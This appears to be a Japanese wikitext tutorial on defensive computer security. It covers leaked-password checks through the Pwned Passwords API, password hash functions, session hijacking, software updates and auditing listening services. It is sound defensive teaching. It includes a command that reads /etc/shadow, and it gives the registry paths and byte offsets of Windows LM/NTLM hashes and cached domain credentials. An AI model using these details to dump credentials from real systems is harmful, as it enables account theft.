      <comment>/* セッションハイジャックを防ぐ */</comment>
      <origin>305235</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="93389" sha1="rskklms5e6hxjojmo68xo18r94s3job" xml:space="preserve">'''コンピュータセキュリティ'''はコンピュータの安全のことです。ここではコンピュータの安全を確保することを学びます。

== コンピュータセキュリティの基本 ==
コンピュータは弱いところから狙われるため、弱いところを無くすのがセキュリティの基本となります。

具体例を挙げましょう。一般的な光回線に繋がれてるホームネットワークを考えます。ここには光回線の先に繋がる上位ネットワークと家内のホームネットワーク (家庭におけるLAN) とを区切るエッジルーター（一般的にはハードウェア・ゲートウェイがこれに該当）が存在します。このホームネットワークに数台の新しいWindows PCと一台の古い機器が繋がっていると仮定します。

新しいWindows PC同士ではホームネットワーク経由でファイルをやり取りするためにファイルの共有 (SMB{{efn|Server Message Block}}) を有効にしているとします。一方、古い機器の方を脆弱性のある古いテレビとしましょう。このテレビはインターネットから繋いで地上デジタル放送を見るための DCTP+ {{efn|Digital Transmission Content Protection +}}が搭載されており、UPnP{{efn|Universal Plug and Play}}で自動的にエッジルーター搭載のファイアーウォールに穴あけてインターネット側から DCTP+ に繋がるようになっているものとします。

この仮定によってハッカーは DCTP+ の脆弱性を使って古いテレビに悪意のあるプログラムを実行させてファイルの共有サーバーを立て{{efn|Windows 11時点でもゲスト認証による接続は許可されている&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-interception-defense?tabs=group-policy Protect SMB traffic from interception] Microsoft&lt;/ref&gt;。}}、そこからファイルの共有を通じて新しいWindows PCにマルウェア (例えば&lt;code&gt;PHOTO-&lt;ランダムな数字&gt;.png.lnk&lt;/code&gt;&lt;ref&gt;[https://www.microsoft.com/en-us/security/blog/2026/06/25/photo-zip-campaign-targeting-hospitality-industry-delivers-node-js-implant-persistent-access/ Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access] Microsoft 2026年6月25日&lt;/ref&gt;) を送り込むことが可能となりました。

== 安全にパスワードを使う ==
=== 流出したパスワードと被ってないかをチェックする ===
あちこちのサイトで流出したパスワードは集められてデータベース化されダークネットに流通しています。この代表的なものには2019年に登場した [[:w:en:Collection No. 1|Collection #1]] が挙げられます。この Collection #1 などの流出パスワードデータベースは辞書攻撃に利用されており、これは「Credential Stuffing攻撃」と呼ばれています。

使うパスワードが流出パスワードデータベースに載っていないかを確認するためには上記のデータベースを手に入れるか、上記のデータベースからk-匿名性で検索を行うオンラインサービスを使うと良いでしょう。

このオンラインサービスの代表的なものにはWebサイト「Have I Been Pwned」の提供する「Pwned Passwords」サービスが存在しますが、このAPIではパスワードのSHA-1ハッシュ先頭5文字を渡すと、流出したパスワードのSHA1ハッシュ6文字以降と流出データベースに載っていた回数が返答されます。
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # パスワードを入力してSHA-1ハッシュへと変換する（ここでは'test'と入力）
$ sha1=$(read -sp &quot;Password: &quot; pass &amp;&amp; echo -n $pass | sha1sum | cut -d' ' -f1)
Password: 
$ # 変換後のハッシュを表示
$ echo $sha1
a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
$ # ハッシュの先頭5文字を渡して6文字目以降を検索（':'の後ろは見つかった数）
$ curl -s https://api.pwnedpasswords.com/range/$(echo $sha1 | cut -c 1-5) | grep -i $(echo $sha1 | cut -c 6-)
FE5CCB19BA61C4C0873D391E987982FBBD3:1579235
&lt;/syntaxhighlight&gt;

ハッシュの先頭5文字も渡したくない場合や、自社サービスでチェックを行いたい場合は上記のサービスが公式で提供するツール「haveibeenpwned-downloader」[https://github.com/HaveIBeenPwned/PwnedPasswordsDownloader]で全てのハッシュデータをダウンロードして自前で照合しましょう。

=== 解析耐性のある鍵導出関数を使う ===
パスワードでは計算負荷の低い SHA-256 や SHA-512 などの通常のハッシュ関数、メモリ負荷の低い [[:w:PBKDF2|PBKDF2]] や bcrypt などの古い[[:w:鍵導出関数|鍵導出関数]]（パスワードハッシュ関数）を使わないようにしましょう。これらの弱いハッシュ関数は GPU や ASIC で高速に解かれてしまいます。

より強いパスワードハッシュ関数としては yescrypt や Argon2id が存在します。パスワードにはこちらを使いましょう。現代の Linux ではアカウントのパスワードハッシュ関数として yescrypt が標準となっています。

使っている Linux の新規アカウントで使われるパスワードハッシュ関数は以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -n 'pam_unix.so' /etc/pam.d/common-password
26:password     [success=2 default=ignore]      pam_unix.so obscure use_authtok try_first_pass yescrypt
&lt;/syntaxhighlight&gt;

Linuxの現在のアカウントがどのハッシュ関数を使用しているかは以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo cat /etc/shadow | grep $USER # $(1|5|6|b)$=弱い、$y$=強い
user:$y$j9T$ST7oYwlQjFy7/8vnL/Ugt0$po4vW4qgGu8lpUNRtH0B3hDHGZACzcRhzIKhqlx.2Z5:20743:0:99999:7:::
&lt;/syntaxhighlight&gt;

弱いハッシュ関数を使用している場合は&lt;code&gt;passwd $USER&lt;/code&gt;でパスワードを再設定して使用するハッシュ関数を更新してください。

一方、Windows 10 以前のローカルアカウントではパスワードハッシュがレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;(ユーザーID)\&lt;wbr&gt;V&lt;/code&gt;{{efn|name=&quot;sam&quot;}}のバイナリの以下の場所に存在します:
* [[:w:LMハッシュ|LMハッシュ]]:  0xCC + (0x9C に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt;
* NTLMハッシュ:  0xCC + (0xA8 に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt; 

LMハッシュは [[:w:LAN Manager|LAN Manager]] に使われていた [[:w:Data Encryption Standard|DES]] ベースの古いハッシュ、NTLMハッシュは [[:w:NT LAN Manager|NT LAN Manager]] に使われている [[:w:MD4|MD4]] ベースの古いハッシュであり、どちらも非常に弱いものとなっていました。

また Windows の Active Directory ドメインアカウントのオフライン認証向けキャッシュ済みドメイン資格情報はレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SECURITY\&lt;wbr&gt;Cache&lt;/code&gt;に存在します:
* DCC1 ハッシュ (MSCache v1): 弱い MD4 ベース。Windows XP以前。
* DCC2 ハッシュ (MSCache v2) : 弱めの PBKDF2-HMAC-SHA1 ベース。Windows Vista以後&lt;ref&gt;[https://attack.mitre.org/techniques/T1003/005/ OS Credential Dumping: Cached Domain Credentials] MITRE 2025年10月24日&lt;/ref&gt;。

2021年にリリースされた Windows 11 以降は Microsoft アカウントが必須となっています。

&lt;!--TODO: 
Windows Hello、LSA Secrets

=== パスワードの複雑性をチェックする ===
=== TPMで鍵を隔離する ===
--&gt;

=== セッションハイジャックを防ぐ ===
パスワードの悪用は年々難しくなっていますが、それに代わるものとしてブラウザセッション（Cookieなど）を乗っ取る「セッションハイジャック」という手法も流行しています。

これには例えばマルウェアでブラウザのセッションファイルを抜き取る、正規サイトに挿入される広告などの Javascript ファイルから Cookie (&lt;code&gt;document.cookie&lt;/code&gt;) を抜き取る（Webサイト側は Cookie の HttpOnly 属性、 SameSite 属性で対策可）などの方法が考えられます。

また以前は暗号化通信 (HTTPS) を遮断したり転送するなどして非暗号化通信 (HTTP) にフォールバックさせるという攻撃もありました（Webサイト側はHTTPヘッダの Strict-Transport-Security や Cookie の Secure 属性で対策）が、Chrome 154 以降は HTTP のサイト自体に警告が出るようになりました。

ブラウザのセッションファイルは以下のように暗号化されています&lt;ref name=&quot;google-cookie-2024&quot;/&gt;が、C4 (Chrome Cookie Cipher Cracker) 攻撃によってそれを抜き出すことが行われています。
{| class=&quot;wikitable&quot;
|+ Chromeのセッションファイルの暗号化&lt;ref name=&quot;google-cookie-2024&quot;&gt;[https://developers-jp.googleblog.com/2024/08/improving-security-of-chrome-cookies-on.html Windows 版 Chrome で Cookie のセキュリティを向上させる] Google 2024年8月15日&lt;/ref&gt;
|-
! Windows !! macOS !! Linux (GNOME) !! Linux (KDE)
|-
| アプリケーション バウンド暗号化 || [[:w:Keychain|Keychain]]サービス || [[:w:GNOME Keyring|GNOME Keyring]] (libsecret) || [[:w:KWallet|KWallet]]
|}

なおアプリケーション バウンド暗号化はポリシー設定 ( chrome://policy ) の ApplicationBoundEncryptionEnabled をfalseにすることで無効化することができる&lt;ref&gt;[https://chromeenterprise.google/policies/#ApplicationBoundEncryptionEnabled Chrome Enterprise のポリシーリストと管理 - ドキュメント - ApplicationBoundEncryptionEnabled] Google&lt;/ref&gt;ため、無効になってないか確認しましょう。

== 既製製品の脆弱性を塞ぐ ==
まずは弱いところを無くしましょう。

=== ソフトウェアアップデートをする ===
セキュリティの基本はソフトウェアアップデートです。

==== PCおよびモバイル ====
PC{{efn|PCサーバを含む}}やモバイルでは基本的に自動で通知が来るので忘れずにアップデートを選択しましょう。手動では以下のように行います:
; Windows
: システムのアップデートは基本的に [[:w:Microsoft Update|Microsoft Update]] (Windows Update) で、アプリケーションのアップデートは基本的に&lt;code&gt;winget upgrade --all&lt;/code&gt;コマンドで行います。
: また Windows 11 Enterprise では再起動が不要なホットパッチにも対応しています。
; macOS / iOS
: 「ソフトウェアアップデート」
; Ubuntu / Debian
: [[:w:APT|APT]]パッケージ管理システムでは&lt;code&gt;apt upgrade&lt;/code&gt;コマンドで更新を行います。
: Ubuntu では GUI による更新用として[[:w:Software Updater|Software Updater]] (&lt;code&gt;update-manager&lt;/code&gt;コマンド)、[[:w:Snap (ソフトウェア)|Snap]]パッケージの更新コマンドとして&lt;code&gt;snap refresh&lt;/code&gt;、メジャーバージョンの更新コマンドとして&lt;code&gt;do-release-upgrade&lt;/code&gt;も存在します。
: また Ubuntu では Ubuntu Pro に登録することで再起動が不要なカーネル修正の「Livepatch」も可能となります（個人では5台まで無料）。SUSEではユーザー空間ライブパッチングまで提供されています（glibc と openssl のみ）&lt;ref&gt;[https://documentation.suse.com/ja-jp/sles/15-SP6/html/SLES-all/cha-ulp.html ユーザ空間ライブパッチ - 管理ガイド - SLES 15 SP6] SUSE&lt;/ref&gt;。
; RedHat / Fedora
: &lt;code&gt;yum update&lt;/code&gt;コマンド
; Android
: 「設定」アプリ→「システム」→「システムアップデート」または「ソフトウェアアップデート」 

また個々のハードウェアのファームウェアアップデートは以下で行います:
; Linux
: Linuxにおけるファームウェアの更新は基本的に&lt;code&gt;fwupdmgr update&lt;/code&gt;コマンドで行います。
: NVMe SSDのファームウェアの更新は&lt;code&gt;nvme fw-download&lt;/code&gt;コマンドおよび&lt;code&gt;nvme fw-commit&lt;/code&gt;コマンドで行うことができます。
一方、Windows ではファームウェアのアップデートも Windows Update 経由で&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/bringup/firmware-update ファームウェアの更新] Microsoft&lt;/ref&gt;、macOS ではファームウェアのアップデートもmacOSアップデートで行うことができます&lt;ref&gt;[https://support.apple.com/ja-jp/guide/mac-help/mchlp2609/mac Macのファームウェアアップデートの入手方法] Apple&lt;/ref&gt;。

&lt;!--
また開発環境では以下も存在します:
; Python
: &lt;code&gt;pip -U install&lt;/code&gt;
--&gt;

==== ルーター ====
ルーターでは以下の設定を有効のままにしておきましょう:
; AirStationシリーズ（Buffalo 製ルーター）
: 「ファームウェア自動更新機能」
; Atermシリーズ（NEC 製ルーター）
: 「メンテナンスバージョンアップ機能」「時刻指定バージョンアップ機能」

==== テレビ ====
テレビでは放送波アップデートが行われるため、「放送波による自動更新」&lt;!--TODO: メーカー別名--&gt;を有効にしましょう。

=== 高速に再起動する ===
パッケージは更新しただけでは反映されません（一部デーモンの更新を除く）。Linuxでは高速に再起動する方法が存在し、これによってダウンタイムを減らすことができます。
; 更新で影響を受けるデーモンのみ再起動する
:* Ubuntu Server: 標準で &lt;code&gt;needrestart&lt;/code&gt; が導入されており自動で影響を受けるデーモンの再起動が行われます{{efn|自動的なデーモン再起動を止めるには /etc/apt/apt.conf.d/99needrestart より&lt;code&gt;-m u&lt;/code&gt;を削除する必要があります&lt;ref&gt;[https://discourse.ubuntu.com/t/needrestart-changes-in-ubuntu-24-04-service-restarts/44671 `needrestart` changes in Ubuntu 24.04: service restarts] Canonical 2024年&lt;/ref&gt;。}}（Ubuntu Desktopでは別途導入が必要）。
:* RedHat / Fedora: &lt;code&gt;dnf needs-restarting&lt;/code&gt;が導入されており、それによって再起動するべきデーモンを確認できます。
; ユーザー空間のみ再起動する（カーネルの更新がない、またはカーネルでlive patchingを行ってる場合）
: &lt;code&gt;sudo systemctl soft-reboot&lt;/code&gt;
; 高速にカーネルを更新する（ファームウェアの更新がない場合）
: &lt;code&gt;sudo systemctl kexec&lt;/code&gt;

また一部のソフトウェアではホットアップグレード（無停止アップグレード{{efn|Zero-Downtime Upgrade}}）にも対応しています (nginx の USR2 シグナル&lt;ref&gt;[https://nginx.org/en/docs/control.html Controlling nginx] nginx&lt;/ref&gt;など)。

=== 代替ソフトウェアを探す ===
更新が停止された古いソフトウェアの多くはそれ自身に脆弱性が存在したり、脆弱性のある古いライブラリに依存していたりします。そのため古いソフトウェアは速やかに代替ソフトウェアへと移行しましょう。

==== 開発終了したソフトウェアから現役のソフトウェアへ ====
古いソフトウェアには例えば以下があります:
* オフィススイート（代替候補: LibreOffice）
** [[:w:OpenOffice.org|OpenOffice.org]]（〜2011年）
* 画像ビューア
** [[:w:Susie|Susie]] （〜2013年）
* メディアプレイヤー
** [[:w:QuickTime|QuickTime]] for Windows（〜2016年） - リモートコード実行の脆弱性 ([https://www.zerodayinitiative.com/advisories/ZDI-16-241/ ZDI-16-241]、[https://www.zerodayinitiative.com/advisories/ZDI-16-242/ ZDI-16-242]) を残したままサポート終了しました&lt;ref&gt;[https://internet.watch.impress.co.jp/docs/news/753400.html Apple、「QuickTime for Windows」のサポートを終了、アンインストールを推奨] Impress 2016年4月15日&lt;/ref&gt;。
* メディアフィルター（代替候補: LAV Filters）
** [[:w:ffdshow|ffdshow]]（〜2014年）
** [[:w:Haali Media Splitter|Haali Media Splitter]]（〜2013年） 
* メディアセンター（代替候補: Kodi）
** [[:w:en:Boxee|Boxee]]（〜2011年）
** [[:w:Kodi|XBMC]]（〜2014年） - Kodiの前身
* 圧縮ソフトウェア
** [[:w:+Lhaca|+Lhaca]]（〜2007年）
** [[:w:Lhaplus|Lhaplus]]（〜2017年）

またハードウェアに由来する古いソフトウェアには例えば以下があります:
* [[w:ウォークマン|ウォークマン]]関連（代替候補: [[:w:Music Center for PC|Music Center for PC]]）
** [[:w:CONNECT Player|CONNECT Player]]（〜2007年、Sony）
** [[:w:SonicStage|SonicStage]]（〜2009年、Sony）
** [[:w:x-アプリ|x-アプリ]]（〜2016年、Sony）
* DTCP-IP関連
** SmartVision/PLAYER powered by DiXiM（〜2019年、NEC）&lt;ref&gt;[https://support.nec-lavie.jp/navigate/support/info/2019/announce/svp/ SmartVision/PLAYER保守サービス終了のお知らせ] NECパーソナルコンピュータ 2019年1月28日&lt;/ref&gt;&lt;ref&gt;[https://apps.microsoft.com/detail/9wzdncrdkb4c?hl=ja-JP&amp;gl=JP SmartVision/PLAYER powered by DiXiM] Microsoft&lt;/ref&gt;
** DiXiM Digital TV plus for I-O DATA（〜2022年、I-O DATA）&lt;ref&gt;[https://www.iodata.jp/lib/product/d/3533.htm DiXiM Digital TV plus for I-O DATA] I-O DATA&lt;/ref&gt;

なお仮想マシンを使って隔離しながら古いソフトウェアを動かすこともできますが、仮想マシンでも「VMエスケープ」の脆弱性を使用することでホスト環境への侵害が可能なため、仮想マシンの上で弱い環境や弱いソフトウェアを使うこともなるべく避けましょう。&lt;!--TODO: Windows Sandbox--&gt;

==== 古いバージョンのライブラリを避ける ====
多くのソフトウェアに使用されているライブラリとその過去の危険な脆弱性には例えば以下があります:&lt;!--危険を認識させる。例はライブラリ内のメイン処理に存在し、任意コード実行であり、脆弱性の存在期間が長く、新しいものが好ましい。--&gt;
* 画像ライブラリ
** libpng - [https://access.redhat.com/security/cve/cve-2010-1205 CVE-2010-1205]（PNG画像で任意コード実行の可能性）
** libjpeg-turbo - [https://access.redhat.com/security/cve/cve-2012-2806 CVE-2012-2806]（JPEG画像で任意コード実行の可能性）
** OpenJPEG - [https://access.redhat.com/security/cve/cve-2025-54874 CVE-2025-54874]（JPEG2000画像で任意コード実行の可能性）
** libtiff - [https://access.redhat.com/security/cve/cve-2026-12912 CVE-2026-12912]（PixarLog圧縮TIFF画像で任意コード実行の可能性）
** libwebp - [https://access.redhat.com/security/cve/cve-2023-4863 CVE-2023-4863]（WebP画像で任意コード実行の可能性）
* 動画ライブラリ
** FFmpeg - [https://access.redhat.com/security/cve/cve-2024-22860 CVE-2024-22860]（JPEG XLアニメーションで任意コード実行の可能性）
* 圧縮ライブラリ
** libarchive - [https://access.redhat.com/security/cve/cve-2026-15028 CVE-2026-15028]（tarアーカイブ形式で任意コード実行の可能性）
** zlib - [https://access.redhat.com/security/cve/cve-2002-0059 CVE-2002-0059]（Deflate圧縮形式で任意コード実行の可能性）
** bzip2 - [https://access.redhat.com/security/cve/cve-2010-0405 CVE-2010-0405]（BZ2圧縮形式で任意コード実行の可能性）

これらのライブラリはABI（アプリケーションバイナリインターフェイス）が変更されて新しいバージョンの共有ライブラリにドロップイン置換できないものも多くなっています。

また国内で使われている古いソフトウェアでは開発中止になった以下のライブラリも問題となっています:
* UNLHA32.DLL&lt;ref&gt;[https://forest.watch.impress.co.jp/docs/news/372729.html 圧縮・解凍用DLL「UNLHA32.DLL」が開発中止、作者はLZHの利用中止を呼びかけ] Impress 2010年6月7日&lt;/ref&gt;

Webフレームワークでは開発中止となった以下のフレームワークが問題となっています:
* [[:w:Model View Controller|Model View Controller]]フレームワーク（代替候補: [[:w:Apache Struts|Apache Struts]] 2、[[:w:Spring Framework#Model-View-Controller フレームワーク|Spring MVC]]）
** [[:w:en:Apache Struts 1|Apache Struts 1]]（〜2008年） - Java言語
* [[:w:アスペクト指向プログラミング|アスペクト指向フレームワーク]]（代替候補: [[:w:Spring Framework|Spring Framework]]、[[:w:en:Micronaut (framework)|Micronaut]]）
** [[:w:Seasar|Seasar]]（〜2016年） - Java言語
* [[:w:シングルページアプリケーション|シングルページアプリケーション]]フレームワーク（代替候補: [[:w:Angular|Angular]]、[[:w:Vue.js|Vue.js]]）
** [[:w:AngularJS|AngularJS]]（〜2022年） - JavaScript

=== 古いハードウェアに対処する ===
サポート切れの OS を搭載したハードウェアはどうすれば良いでしょうか。これには使い続けるいくつかの方法がありますが、基本的にオススメしません。古い OS を搭載していたハードウェアはハードウェア仕様も古いからです。

==== スタンドアロン運用 ====
古いハードウェアはインターネットに繋がずに使用すること（スタンドアロン運用）も可能です。

しかしながらUSBメモリでデータをやり取りする場合はUSBメモリ経由での感染などのリスクは残ります。

==== 新しめのLinuxを導入 ====
新しめのLinuxを導入するという方法もあります。

これに適したものでは例えばWindows 11非対応のPC (Intel 第7世代以前、AMD Ryzen 1000シリーズ以前) が挙げられます。

またスマートフォンやタブレットであればカスタムROMが、ルーターであればDD-WRTやOpenWRTが存在します。

==== 手放す ====
手に負えなければデータだけバックアップして手放しましょう。情報が漏れないよう初期化も忘れずに。

== 不要なサービスを止める / 削除する ==
{| class=&quot;wikitable&quot;
|+ サービス表示系コマンド
|-
! 稼働中のシステムサービスを見る
| &lt;code&gt;systemctl --type=service --state=running&lt;/code&gt;
|-
! 稼働中のユーザーサービスを見る
| &lt;code&gt;systemctl --user --type=service --state=running&lt;/code&gt;
|}

=== TCP/UDP経由のサービス ===
TCP/UDPでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -tulnp&lt;/code&gt; を、通信しているプロセスを見るには &lt;code&gt;sudo lsof -i -P -n&lt;/code&gt; を実行しましょう。

{| class=&quot;wikitable&quot;
|+ 主なポート待ち受けのあるプロセス
|-
! ポート !! 機能 !! プロセス名 !! サービス名または起動コマンド !! パッケージ名 (Ubuntu) || 直接問い合せコマンド
|-
| rowspan=2 | 53/UDP&lt;br&gt;53/TCP || rowspan=2 | DNS（名前解決） || systemd-resolved || systemd-resolved.service || systemd-resolved || &lt;code&gt;dig @127.0.0.53 example.com&lt;/code&gt;
|-
| dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;dig @10.208.199.1 example.com&lt;/code&gt;
|-
| rowspan=2 | 5353/UDP || rowspan=2 | [[:w:マルチキャストDNS|マルチキャストDNS]] || systemd-resolved || systemd-resolved.service ||  systemd-resolved || &lt;code&gt;resolvectl -p mdns query $HOSTNAME.local&lt;/code&gt;
|-
| Avahi || avahi-daemon.service || avahi-daemon || &lt;code&gt;avahi-resolve-host-name $HOSTNAME.local&lt;/code&gt;
|-
| 67/UDP&lt;br&gt;547/UDP || [[:w:DHCP|DHCP]]&lt;br&gt;[[:w:DHCPv6|DHCPv6]] || dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;IP=$(ip -4 -o addr show pan1 &amp;vert; grep -oP '(?&lt;=inet )[\d.]+'); sudo dhcping -v -i -s &quot;$IP&quot; -c &quot;$IP&quot;&lt;/code&gt;{{efn|Ubuntuではdhcpingパッケージの導入が必要です。}}
|-
| rowspan=2 | 68/UDP&lt;br&gt;546/UDP || rowspan=2 | DHCPクライアント&lt;br&gt;DHCPv6クライアント{{efn|単独のDHCPクライアントである dhclient、dhcpcd なども存在する。また開発終了になったisc-dhcp-clientも存在した。}} || systemd-networkd&lt;wbr&gt;{{efn|name=&quot;network-all&quot;}} || || systemd || 
|-
| NetworkManager&lt;wbr&gt;{{efn|name=&quot;network-all&quot;|ネットワーク管理全般を担当しています。}} || NetworkManager.service || network-manager || 
|-
| rowspan=2 | 123/UDP&lt;br&gt;4460/TCP || rowspan=2 | NTP（時刻同期）&lt;br&gt;NTS-KE （NTPの鍵交換）{{efn|これらの代替として systemd-timesyncd もありますが、こちらは NTP の代わりに単純な SNTP のみ実装の上、サーバーを持たずクライアント側のみ対応です。}} || ntpd || ntpsec.service || ntpsec || rowspan=2 | &lt;code&gt;ntpdig localhost&lt;/code&gt;{{efn|ローカルへのNTP問い合せは&lt;code&gt;ntpdate -q localhost&lt;/code&gt;でもできますが、こちらはNTP-KE非対応です。}}
|-
| chronyd || chrony.service || chrony
|-
| 80/TCP&lt;br&gt;443/HTTP&lt;br&gt;443/UDP || HTTP&lt;br&gt;HTTPS&lt;br&gt;HTTP/3 (QUIC) || apache2 || apache2.service&lt;br&gt;apache2@.service&lt;br&gt;httpd.service&lt;br&gt;httpd@.service || apache2 || HTTP: &lt;code&gt;curl http://localhost&lt;/code&gt;&lt;br&gt;HTTPS: &lt;code&gt;curl --http2 https://localhost&lt;/code&gt;&lt;br&gt;HTTP/3: &lt;code&gt;curl --http3-only https://localhost&lt;/code&gt;
|-
| rowspan=2 | ユーザーポート/UDP || rowspan=2 | HTTP/3 (QUIC) クライアント&lt;br&gt;WebRTCクライアント || chrome{{efn|Google Chrome}} || &lt;code&gt;google-chrome&lt;/code&gt; || google-chrome (公式APTリポジトリ) || 
|-
| firefox{{efn|Mozzila Firefox}} || &lt;code&gt;firefox&lt;/code&gt; || firefox (snap) || 
|-
| rowspan=2 |21/TCP&lt;br&gt;20/TCP{{efn|アクティブモードのみデータ転送で使われます。}} || rowspan=2 | FTP || proftpd || proftpd.service&lt;br&gt;proftpd@.service || proftpd-core || rowspan=2 | &lt;code&gt;curl ftp://localhost&lt;/code&gt;
|-
| vsftpd || vsftpd.service || vsftpd
|-
| 22/TCP || SSH / SFTP || sshd || ssh.service&lt;br&gt;sshd@.service || openssh-server || &lt;code&gt;ssh-keyscan 127.0.0.1&lt;/code&gt;
|-
| rowspan=2 | 6881/TCP || rowspan=2 | BitTorrent || qbittorrent || &lt;code&gt;qbittorrent&lt;/code&gt; || qbittorrent ||
|-
| ktorrent || &lt;code&gt;ktorrent&lt;/code&gt; || ktorrent ||
|-
| rowspan=2 | 51413/TCP || rowspan=2 | Transmission&lt;wbr&gt;{{efn|BitTorrentプロトコル。TransmissionをベースとするFragmentsも同ポートを使用します。}} || transmission-daemon || transmission-daemon.service || transmission-daemon ||
|-
| transmission-gtk || &lt;code&gt;transmission-gtk&lt;/code&gt; || transmission-gtk ||
|-
| 5001/TCP&lt;br&gt;5001/UDP || rowspan=2|  ネットワークパフォーマンス計測 || iperf || &lt;code&gt;iperf -s&lt;/code&gt; || iperf || &lt;code&gt;iperf -c localhost&lt;/code&gt;
|-
| 5021/TCP&lt;br&gt;5021/UDP || iperf3 || &lt;code&gt;iperf3 -s&lt;/code&gt; || iperf3 || &lt;code&gt;iperf3 -c localhost&lt;/code&gt;
|-
| 1716/UDP&lt;br&gt;1716/TCP&lt;br&gt;ユーザーポート/UDP || スマートフォン連携 (KDE) || kdeconnectd || &lt;code&gt;kdeconnect-app&lt;/code&gt; || kdeconnect ||
|-
| ユーザーポート/TCP || Claude Proxy Service || code{{efn|[[:w:Visual Studio Code|Visual Studio Code]]のプロセス。}} || &lt;code&gt;code&lt;/code&gt; || code (公式APTリポジトリ) || 
&lt;!--
|-
|  || AI コーディング支援 (Google Antigravity CLI{{efn|Command Line Interface}}) || agy || || (Visal Studio Code拡張) || 
--&gt;
|-
| rowspan=2 | 3389/TCP&lt;br&gt;3389/UDP || rowspan=2 | Remote Desktop Protocol || gnome-remote-desktop-daemon{{efn|GNOME Remote Desktop}} || gnome-remote-desktop.service&lt;!-- (system)--&gt;&lt;br&gt;gnome-remote-desktop.service (user)&lt;br&gt;gnome-remote-desktop-headless.service (user) || gnome-remote-desktop || 
|-
| krdpserver || app-org.kde.krdpserver.service (user) || krdp || 
|-
| 47984/TCP&lt;br&gt;47989/TCP&lt;br&gt;48010/TCP&lt;br&gt;47998–48010/UDP || NVIDIA GameStream || sunshine ||  app-dev.&lt;wbr&gt;lizardbyte.&lt;wbr&gt;app.&lt;wbr&gt;Sunshine.service (user) || sunshine (公式debファイル) ||  (moonlight-qt)
|-
| 27031-27036/UDP&lt;br&gt;27036/TCP || Steam Remote Play&lt;ref&gt;[https://help.steampowered.com/ja/faqs/view/2EA8-4D75-DA21-31EB Steam接続に必要なポート] Valve&lt;/ref&gt; || steam || &lt;code&gt;steam&lt;/code&gt; || steam (公式APTリポジトリ) || 
|-
| 1900/UDP || UPnP{{efn|パケットフィルタと共に使用して要求に従ってポートマッピングする。}} || miniupnpd || miniupnpd.service || miniupnpd-nftables&lt;br&gt;miniupnpd-iptables ||
|}

なおUPnPのポートは外側に解放しないようにしましょう。また内側にだけ解放した場合も内側に侵害された機器が存在する場合に危険となるのでVLANでネットワークを分けるなどを心がけましょう。

また外側に開いてるポートはランダム割り当てされないように sysctl の &lt;code&gt;net.ipv4.ip_local_reserved_ports&lt;/code&gt; で予約しておきましょう。この設定を永続化するには /etc/sysctl.d/99-local-ports.conf あたりに&lt;code&gt;net.ipv4.ip_local_reserved_ports=a,b,c&lt;/code&gt;{{efn|ダブルクォーテーションで囲むと「無効な引数です」のエラーになるので注意してください。}}と記述すれば OK です。設定を直ぐに反映するには&lt;code&gt;sudo sysctl --system&lt;/code&gt;を実行しましょう。

&lt;!--TODO: CUPS、Postfix、Samba、Wsdd--&gt;

=== Unix Domain経由のサービス ===
Unix Domainでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -xlp&lt;/code&gt; を実行しましょう。


=== dbus経由のサービス ===
システムバスは &lt;code&gt;busctl --system list&lt;/code&gt;、セッションバスは &lt;code&gt;busctl --user list&lt;/code&gt; で確認することができます。

それらを提供する実行中のプロセスの一覧は以下で取得できます:
* システムバスを提供するプロセス: &lt;code&gt;busctl --system --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;
* ユーザーバスを提供するプロセス: &lt;code&gt;busctl --user --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;

dbusサービスの一部はプロセス未実行のアクティベータブル (activatable) な状態で提供されています。アクティベータブルな状態で提供するサービスの実行コマンドは以下で取得できます:
*  activatableなシステムバスの実行コマンド: &lt;code&gt;busctl --system --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;
*  activatableなユーザーバスの実行コマンド: &lt;code&gt;busctl --user --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;

== 潜在的な脆弱性を減らす ==
現代のプログラムでは以下のような保護が行われています。

=== メモリアドレスの推測困難化 === 
攻撃に必要なコード片（ガジェット）のメモリアドレスを推測しにくくするために、カーネル空間、ユーザー空間の両方で[[:w:アドレス空間配置のランダム化|アドレス空間配置のランダム化]]（ASLR）が行われています。カーネル空間の ASLR は KASLR (Kernel ASLR) とも呼ばれています。

ユーザー空間のプログラムで ASLR を有効にするためには[[:w:位置独立コード|位置独立コード]] (PIC) / 位置独立実行形式 (PIE) である必要があります。Unix で使われる実行形式の ELF では位置独立実行形式が ET_DYN、非位置独立実行形式 (non-PIE) が ET_EXEC となります。

